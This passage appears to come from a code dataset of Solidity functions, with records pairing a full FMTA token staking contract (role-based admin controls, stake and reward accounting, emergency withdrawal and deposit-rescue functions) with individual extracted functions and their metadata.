stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
emergencyWithdrawRewardAndStakes
|
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
|
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
6872,
7216
]
}
| 55,501 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
lastWdHeight
|
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
|
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
7371,
7477
]
}
| 55,502 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
